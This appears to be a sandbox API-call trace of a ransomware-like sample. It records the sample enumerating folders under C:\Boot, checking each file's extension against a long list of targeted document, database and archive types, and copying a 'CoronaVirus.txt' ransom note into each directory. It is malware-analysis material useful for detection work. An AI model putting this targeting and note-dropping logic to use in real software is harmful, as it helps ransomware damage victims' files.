	[0083.243] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.243] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.243] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.243] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.243] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.244] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.245] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf8661f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaf8661f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.245] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.246] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.246] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.246] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.246] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.246] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.246] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.246] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.246] malloc (_Size=0x1000) returned 0x2f385c8
	[0083.246] _swprintf (in: param_1=0x2f385c8, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-CA\\CoronaVirus.txt") returned 29
	[0083.246] wcsstr (_Str="C:\\Boot\\fr-CA\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.246] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf8661f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaf8661f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.246] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0083.246] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0083.246] wcsncmp (_String1="f", _String2=".", _MaxCount=0x1) returned 56
	[0083.246] wcsncmp (_String1="fr", _String2="..", _MaxCount=0x2) returned 56
	[0083.246] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-FR") returned 13
	[0083.246] wcsncmp (_String1="C:\\Boot\\f", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.246] wcsstr (_Str="C:\\Boot\\fr-FR", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.247] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\fr-FR\\CoronaVirus.txt" (normalized: "c:\\boot\\fr-fr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.249] _alloca_probe () returned 0x4036d0
	[0083.249] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x316583c*="fr-FR") returned 0xd
	[0083.249] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeafac7d7, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0083.249] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.249] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeafac7d7, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.249] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.249] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.249] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.249] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.249] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.249] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.249] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.249] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.249] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.249] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.249] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.249] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.249] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.249] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.249] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.249] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.250] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.250] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.251] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.251] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.252] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.252] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafac7d7, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeafac7d7, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.252] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.252] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.252] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.252] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.252] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.252] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.252] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.253] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.253] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.253] malloc (_Size=0x1000) returned 0x2f395d0
	[0083.253] _swprintf (in: param_1=0x2f395d0, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-FR\\CoronaVirus.txt") returned 29
	[0083.253] wcsstr (_Str="C:\\Boot\\fr-FR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.253] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.253] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.253] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.253] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.253] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.254] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.254] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.255] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.255] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
